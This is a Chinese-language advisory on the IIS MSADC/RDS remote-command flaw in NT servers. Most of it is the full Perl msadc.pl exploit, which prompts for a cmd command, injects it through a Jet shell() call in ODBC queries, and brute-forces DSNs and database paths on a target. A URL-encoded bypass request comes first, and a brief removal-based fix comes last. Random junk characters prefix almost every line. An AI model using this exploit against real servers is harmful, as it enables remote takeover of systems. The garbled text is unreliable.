IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2?q>yL! Gz J~WT;s 涉及程序：
+%\Ci!%b Microsoft NT server
CqC
)H7A L%Zr3Ct 描述：
K)>F03=uE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(["kbPma pu/5#[MC)^ 详细：
;.sYE/ZVi 如果你没有时间读详细内容的话，就删除:
"A+7G5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
'a+^= c 有关的安全问题就没有了。
o[_,r]%+D J? J4<l9 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
TxF^zx\ K\%\p$ZD 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
j3 -o}6 关于利用ODBC远程漏洞的描述，请参看:
& tT6.@kH ` WL3aI": http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~$K{E[^< & v((tZ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
i *:QbMb http://www.microsoft.com/security/bulletins/MS99-025faq.asp rb drs N9G xJ6 这里不再论述。
.lb]Xa*n 1T|")D 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`B3-#!2X Yl&[ _
l /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
d"?"(Q_8 n 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
m85Z cyW1T }hg=#* myX&Z F_9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
D8,8j; iy]L"7&Z2 #!perl
S`5bcxI_ #
W|fE]RY # MSADC/RDS 'usage' (aka exploit) script
h.#:7d(g #
Cn 5"zDK$ # by rain.forest.puppy
;E
9o%f:o #
HoAg8siQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qy pF}Pw # beta test and find errors!
*s 4Ym zuN(~>YH use Socket; use Getopt::Std;
%/e'6g< getopts("e:vd:h:XR", \%args);
?:`sE" ps2j ]g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
bR"4:b>K Q?1.GuF if (!defined $args{h} && !defined $args{R}) {
a_}C*+D print qq~
{0F/6GwUC Usage: msadc.pl -h <host> { -d <delay> -X -v }
"t^RZ45 -h <host> = host you want to scan (ip or domain)
f4.jWBF -d <seconds> = delay between calls, default 1 second
q>'#; QA -X = dump Index Server path table, if available
D6@ c|O{Q -v = verbose
!5De?OXe -e = external dictionary file for step 5
\8C<nh #n+u>x.O Or a -R will resume a command session
~
2Hw\fx HN367j2 e ~; exit;}
]QJ 5JtD- 7c(j1:Ku - $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&_ : 9.I 1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
p:n l4O/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0/ 33Z Oc if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8Pd9&/Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
HRE?uBkjf if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dh6kj-^;Cf "!P h if (!defined $args{R}){ $ret = &has_msadc;
Ewkx4, `Ff die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/d |: i9Bh<j>:J print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5SUO`4L . "cmd /c ";
9O&gR46. $in=<STDIN>; chomp $in;
R[\1Kk(Zo $command="cmd /c " . $in ;
Cx~;oWZ Mn&_R{{= if (defined $args{R}) {&load; exit;}
D~"a" xF3FY0U[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
L"9Z{ o7 &try_btcustmr;
3s%DF, ef7 U7 print "\nStep 2: Trying to make our own DSN...";
"aKlvK:77 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
FY Flh^} >%`SXB& 9 print "\nStep 3: Trying known DSNs...";
FXT^r3 &known_dsn;
+p>h` fc q)?!]|pZ print "\nStep 4: Trying known .mdbs...";
~ :{ mKc &known_mdb;
[g}#R#Y) vde!k_,wZ if (defined $args{e}){
^"I@ 8 k print "\nStep 5: Trying dictionary of DSN names...";
6B@e[VtG$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YBj*c$.D0 yI|x
5f print "Sorry Charley...maybe next time?\n";
R%n*wGi_6b exit;
]XlBV-@b "9[2vdSX ##############################################################################
,OwTi:yDr ]SAY\;,_ sub sendraw { # ripped and modded from whisker
qm/>\4eLt sleep($delay); # it's a DoS on the server! At least on mine...
0sw;h.VY my ($pstr)=@_;
B2$cY;LH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sM)1w- die("Socket problems\n");
q Y%|Uo if(connect(S,pack "SnA4x8",2,80,$target)){
|H5GWZ
O{^ select(S); $|=1;
P4yUm(@ print $pstr; my @in=<S>;
Ms5qQ<0v_ select(STDOUT); close(S);
$ s1/Rmw return @in;
]pB5cq7o } else { die("Can't connect...\n"); }}
q,7W,< - Q;>Yk_(S ##############################################################################
1O0) +9T82 Q'=7#_ sub make_header { # make the HTTP request
T.z efoZ my $msadc=<<EOT
1(T2:N(M-A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7P2(q User-Agent: ACTIVEDATA
p9G+la~;VM Host: $ip
3
[]ltN_ Content-Length: $clen
Ii}{{1N6 Connection: Keep-Alive
go=xx.WJ F(/<ADx ADCClientVersion:01.06
ul_E{v Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(p#c p &Hf%Va[B --!ADM!ROX!YOUR!WORLD!
$FT6c@&y Content-Type: application/x-varg
CIo`;jt K Content-Length: $reqlen
$ Lfbt=f X4\T=Q?uLx EOT
O r$"f3gq ; $msadc=~s/\n/\r\n/g;
v]@ XyF\j8 return $msadc;}
T} ?b,hNl$ T[e+iv<8j ##############################################################################
sF :pwI5^ g2?W@/pa sub make_req { # make the RDS request
k
t!@}QP my ($switch, $p1, $p2)=@_;
I _Lm[ my $req=""; my $t1, $t2, $query, $dsn;
r IB./, X7K{P_5l if ($switch==1){ # this is the btcustmr.mdb query
ktfxb <% $query="Select * from Customers where City=" . make_shell();
n4{?Odrf $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4IOqSB| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&x*l{s[ y"Fu= elsif ($switch==2){ # this is general make table query
-0;{ $query="create table AZZ (B int, C varchar(10))";
'6 \w4J( $dsn="$p1";}
h J%$Te f:P;_/cJc elsif ($switch==3){ # this is general exploit table query
lz>.mXdx $query="select * from AZZ where C=" . make_shell();
v h)CB8 $dsn="$p1";}
$_ '<kH-eP o@
^^;30 elsif ($switch==4){ # attempt to hork file info from index server
->{ \7|^ $query="select path from scope()";
#%$@[4 "V $dsn="Provider=MSIDXS;";}
)!V J\ $ SA
@ " elsif ($switch==5){ # bad query
(aJ$1bT=T $query="select";
:rufnmsP<U $dsn="$p1";}
^j.3'}p YsCY~e & $t1= make_unicode($query);
/8:e|
] $t2= make_unicode($dsn);
+6+1N)L $req = "\x02\x00\x03\x00";
Sa)L=5Nr $req.= "\x08\x00" . pack ("S1", length($t1));
Z{%W!>0 $req.= "\x00\x00" . $t1 ;
8N j} $req.= "\x08\x00" . pack ("S1", length($t2));
o:5mgf7 $req.= "\x00\x00" . $t2 ;
PQF
40g1} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
qD"~5vtLqQ return $req;}
)Mflt0fp kAUL7_>6 X ##############################################################################
JB5%\ .8'uIA{_2 sub make_shell { # this makes the shell() statement
32j #kJ W return "'|shell(\"$command\")|'";}
H%=;pD>o 5 xUZeLj ##############################################################################
ey<z#Q5+ 4R01QSbd sub make_unicode { # quick little function to convert to unicode
fCs{%-6cP my ($in)=@_; my $out;
75P!`9b E for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-;
d{}F return $out;}
7?_g m>]a k&K'FaM! ##############################################################################
K ",Xe> v'` qn sub rdo_success { # checks for RDO return success (this is kludge)
%,S:^Rvv my (@in) = @_; my $base=content_start(@in);
(IHR {m if($in[$base]=~/multipart\/mixed/){
8&+u+@H
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:*l\j"fX5 return 0;}
tmoclK - ?a, `{1m0\ ##############################################################################
xjxX4_ Om7 '_} sub make_dsn { # this makes a DSN for us
E\Iz:ES^ my @drives=("c","d","e","f");
\q!TI x print "\nMaking DSN: ";
WqCER^~'> foreach $drive (@drives) {
nC$ c.K' print "$drive: ";
=(c.8d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
D&N3LH "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
vgNrHq&2q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0iMfyW: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
C^] UK return 0 if $2 eq "404"; # not found/doesn't exist
& R<K>i if($2 eq "200") {
HDE5Mg " foreach $line (@results) {
]d|M@v~c4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
hf)R PG& } return 0;}
N /2WUp #{)mr [c| ##############################################################################
-0CL#RzKR o {q8An) sub verify_exists {
WwKpZ67$R my ($page)=@_;
JNvgUb'U my @results=sendraw("GET $page HTTP/1.0\n\n");
n0':6*oGW return $results[0];}
Gh3f^PWnc $ b_~ ##############################################################################
YD~(l-?" &d!ASa sub try_btcustmr {
Hp(41E b, my @drives=("c","d","e","f");
:q2RgZE my @dirs=("winnt","winnt35","winnt351","win","windows");
5Ktll~+:# L&5zr_ foreach $dir (@dirs) {
m+pK,D~{" print "$dir -> "; # fun status so you can see progress
5ry[Lgg foreach $drive (@drives) {
Z\1`(Pq7` print "$drive: "; # ditto
c~\ ^C_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[>Zg6q| $reqlenlen=length( "$reqlen" );
iP^[xB~v $clen= 206 + $reqlenlen + $reqlen;
_39VL F
Zt;D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S@, x^/vT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-s91/|n else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y m-mfWo^# ^@'zQa ##############################################################################
8-O : e ph ~#{B(\ sub odbc_error {
d(Yuz#Qcrh my (@in)=@_; my $base;
IMy!8 $\u my $base = content_start(@in);
"zIQ(|TL?d if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
)4YtdAV $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
` + Mva $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kZ^wc . $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UG] 5Dxk return $in[$base+4].$in[$base+5].$in[$base+6];}
W,t`DMC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
yS #D$q2_ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
vL;=qk TCQ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
z3 fU|*_c ? U*s H2F ##############################################################################
ufA0H
J)Yg 7Z81+I|&8 sub verbose {
i Nn?G C> my ($in)=@_;
J,`I>^G return if !$verbose;
EY :EpVin print STDOUT "\n$in\n";}
M?ElD1#Z _ UF'Cf+Y ##############################################################################
kRiZ6 mn ar`}+2Qh0 sub save {
2m&?t_W my ($p1, $p2, $p3, $p4)=@_;
gF~
} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
1eS@ihkP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_oU~ S$ hO close OUT;}
t..@69 W D 7T&i ##############################################################################
g3(?!f ugW.nf*O sub load {
<ou=f' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j6rwlwN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
d\ Xi j y @p=<IN>; close(IN);
dpcv'cRfw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"[ >ql1t{b $target= inet_aton($ip) || die("inet_aton problems");
Op iVQr: print "Resuming to $ip ...";
H]0 (GLvH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ixF if($p[1]==1) {
[lj^lN8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
lR]SGdY $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7<F{a"5P my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
f[$Z<:D-ve if (rdo_success(@results)){print "Success!\n";}
%bTXu1 else { print "failed\n"; verbose(odbc_error(@results));}}
*&F~<HC2+ elsif ($p[1]==3){
QnH~'
k if(run_query("$p[3]")){
I 9cZZ`vs print "Success!\n";} else { print "failed\n"; }}
~0{F,R.$ elsif ($p[1]==4){
B o[aiT if(run_query($drvst . "$p[3]")){
G4f%=Z print "Success!\n"; } else { print "failed\n"; }}
[sG!|@ r exit;}
kx[ h41|n *C^`+*}OE$ ##############################################################################
k/%n7 ;1 f87lm *wZ sub create_table {
YYd!/@|N5 my ($in)=@_;
Snas:#B! $reqlen=length( make_req(2,$in,"") ) - 28;
g6q67m<h $reqlenlen=length( "$reqlen" );
] 2lh J $clen= 206 + $reqlenlen + $reqlen;
2{-'`l fM% my @results=sendraw(make_header() . make_req(2,$in,""));
y]%Io]!d return 1 if rdo_success(@results);
)G$0:-J - my $temp= odbc_error(@results); verbose($temp);
M7AUY#) return 1 if $temp=~/Table 'AZZ' already exists/;
!r_2b! dy return 0;}
t. kOR< R<8! lQ4s ##############################################################################
OQsF$% * >Co5_sCe sub known_dsn {
G E fTs[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
WcE /,<^* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
4ko(bW#jL "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
=a./HCF "banner", "banners", "ads", "ADCDemo", "ADCTest");
-(![xZ1{K kM @heFJb. foreach $dSn (@dsns) {
2NqO,B|R print ".";
p GSS
next if (!is_access("DSN=$dSn"));
iED
gcg7 if(create_table("DSN=$dSn")){
~@ hiLW print "$dSn successful\n";
}tH6E if(run_query("DSN=$dSn")){
_WHGd&u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g h&,U` print "Something's borked. Use verbose next time\n";}}} print "\n";}
#j${R ={ C?VNkBJ>\ ##############################################################################
F%q}N,W *Q 2}Qbu sub is_access {
R;2
Z~P my ($in)=@_;
M!b" c4|< $reqlen=length( make_req(5,$in,"") ) - 28;
#vvQ 1ub $reqlenlen=length( "$reqlen" );
;*8,PV0b_< $clen= 206 + $reqlenlen + $reqlen;
!qVnziE,, my @results=sendraw(make_header() . make_req(5,$in,""));
8 gzf$Oc my $temp= odbc_error(@results);
$r= tOD4; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/%T d( return 0;}
.t|B6n! =! |= Y@ ##############################################################################
'"Y(2grP HFrwf {J sub run_query {
JG!@(lr my ($in)=@_;
yixAG^< $reqlen=length( make_req(3,$in,"") ) - 28;
G![JRJxQ $reqlenlen=length( "$reqlen" );
nJ~5ICyd $clen= 206 + $reqlenlen + $reqlen;
T0P_&E@X my @results=sendraw(make_header() . make_req(3,$in,""));
ygfUy return 1 if rdo_success(@results);
R8<P}mv my $temp= odbc_error(@results); verbose($temp);
"94qBGf return 0;}
"iTi+UZxe jr=erVHK ##############################################################################
)*n2 ,n ~5 b^Gvb? sub known_mdb {
<;nhb my @drives=("c","d","e","f","g");
[&a= vE my @dirs=("winnt","winnt35","winnt351","win","windows");
YhNO{4D my $dir, $drive, $mdb;
vmK`QPu 2 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$[DSe~
Vi_6O; # this is sparse, because I don't know of many
^5BQ= my @sysmdbs=( "\\catroot\\icatalog.mdb",
\J,pV "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
C {8(ew "\\system32\\certmdb.mdb",
/L? ia "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2io~pk> MF/@Efjn
] my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&i?>mt "\\cfusion\\cfapps\\forums\\forums_.mdb",
zsuXN * "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
wW+@3bPl "\\cfusion\\cfapps\\security\\realm_.mdb",
$ z 5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
eJwHe G "\\cfusion\\database\\cfexamples.mdb",
}:a:E~5y "\\cfusion\\database\\cfsnippets.mdb",
8 [ xl3= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
EgT?Hvx: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@Lf-=9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
g<$q#l~4xH "\\cfusion\\database\\smpolicy.mdb",
:J6lJ8w
? "\\cfusion\\database\cypress.mdb",
$c<NEt_\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
U[t/40W}P "\\website\\cgi-win\\dbsample.mdb",
xb~8uD5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@j|=M 7B "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c
1o8 ); #these are just
6@;
P foreach $drive (@drives) {
XPQY *.l&. foreach $dir (@dirs){
;_Z[' % foreach $mdb (@sysmdbs) {
$ I }k>F print ".";
DZE@C^ 0% if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_?QVc0S! print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#9ZHt5T=$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M=Cl| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=/SBZLR(9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
!{%BfZX<& dNfME*"yN foreach $drive (@drives) {
> s|zr S) foreach $mdb (@mdbs) {
X/' t1 print ".";
'sT7t&v~ if(create_table($drv . $drive . $dir . $mdb)){
EwKFT
FL print "\n" . $drive . $dir . $mdb . " successful\n";
{kNV|E if(run_query($drv . $drive . $dir . $mdb)){
N(=Z4Nk5 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
RJk4 2;] } else { print "Something's borked. Use verbose next time\n"; }}}}
oZwu`~h Y }
hWD%_"yhd GZWU=TC2{2 ##############################################################################
]<Kkq ! " ';K$&,[ sub hork_idx {
GLtd6; V print "\nAttempting to dump Index Server tables...\n";
SA[wF c print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
iw\yVd^]:k $reqlen=length( make_req(4,"","") ) - 28;
'K* . ?M $reqlenlen=length( "$reqlen" );
]L{diD 2G $clen= 206 + $reqlenlen + $reqlen;
)]M,OMYq - my @results=sendraw2(make_header() . make_req(4,"",""));
K|sk]2. if (rdo_success(@results)){
] CxD m my $max=@results; my $c; my %d;
zSo(+ D
&[ for($c=19; $c<$max; $c++){
U~1 )a(Yu; $results[$c]=~s/\x00//g;
ALXie86a8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7w51U mO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
P}8cSX9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
R;3n L[{U $d{"$1$2"}="";}
s_}q foreach $c (keys %d){ print "$c\n"; }
>7,?X_:A-1 } else {print "Index server doesn't seem to be installed.\n"; }}
5-?*Boi>i 0 n}2D7 ##############################################################################
,y}@I" ^ZPynduR sub dsn_dict {
#bCQEhCy open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1=z6m7@'- while(<IN>){
4U>g0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^bk: g}o next if (!is_access("DSN=$dSn"));
l#bE _PD; if(create_table("DSN=$dSn")){
BHN EP |= print "$dSn successful\n";
MmQ"z_v if(run_query("DSN=$dSn")){
7 F> a&r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K;j0cxl print "Something's borked. Use verbose next time\n";}}}
45A|KaVpg print "\n"; close(IN);}
gJBw6'Z v+(-\T\i ##############################################################################
"el}9OitC ~1:_w ni sub sendraw2 { # ripped and modded from whisker
^2C
\--=; sleep($delay); # it's a DoS on the server! At least on mine...
yIYQ.-DkS+ my ($pstr)=@_;
_?v&\j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!q!5D` die("Socket problems\n");
h,|. qfUk if(connect(S,pack "SnA4x8",2,80,$target)){
>["X( %&w print "Connected. Getting data";
z9Nial`p open(OUT,">raw.out"); my @in;
<%?!3 n* select(S); $|=1; print $pstr;
c"lblt5 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
QERj`/g close(OUT); select(STDOUT); close(S); return @in;
F [KM0t! } else { die("Can't connect...\n"); }}
bJoP@s +$$5Cv5#<& ##############################################################################
&lnM
1W $O_{cSKg7 sub content_start { # this will take in the server headers
ftxy]N LF my (@in)=@_; my $c;
9";qR, for ($c=1;$c<500;$c++) {
21[=xboU if($in[$c] =~/^\x0d\x0a/){
d.yATP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
of8
>xvE| else { return $c+1; }}}
]w_JbFmT return -1;} # it should never get here actually
*I.eCMDa [\-)c[/ ##############################################################################
` *",_RO; >u+% H
vzc sub funky {
(f;.`W my (@in)=@_; my $error=odbc_error(@in);
p^k*[3$0 if($error=~/ADO could not find the specified provider/){
Zu /w[*;M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
L$6W, D exit;}
p|g7 Z if($error=~/A Handler is required/){
G@P+M1c print "\nServer has custom handler filters (they most likely are patched)\n";
0+T:};] exit;}
mJZB@m u? if($error=~/specified Handler has denied Access/){
),J6:O& print "\nServer has custom handler filters (they most likely are patched)\n";
`Wd4d2aLG exit;}}
wvRwb M>d ^.n ##############################################################################
6TDa#k5v _B0C]u3D sub has_msadc {
aC94g7)` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|7QSr!{_ my $base=content_start(@results);
~ S\, return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xnxNc5$oE return 0;}
Rx lz`& E Y^?@D_< ########################
VS3lz?o?6g %7[q%S rvuasr~ 解决方案：
lvx[C7? 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
HCT+.n6 2、移除web 目录: /msadc
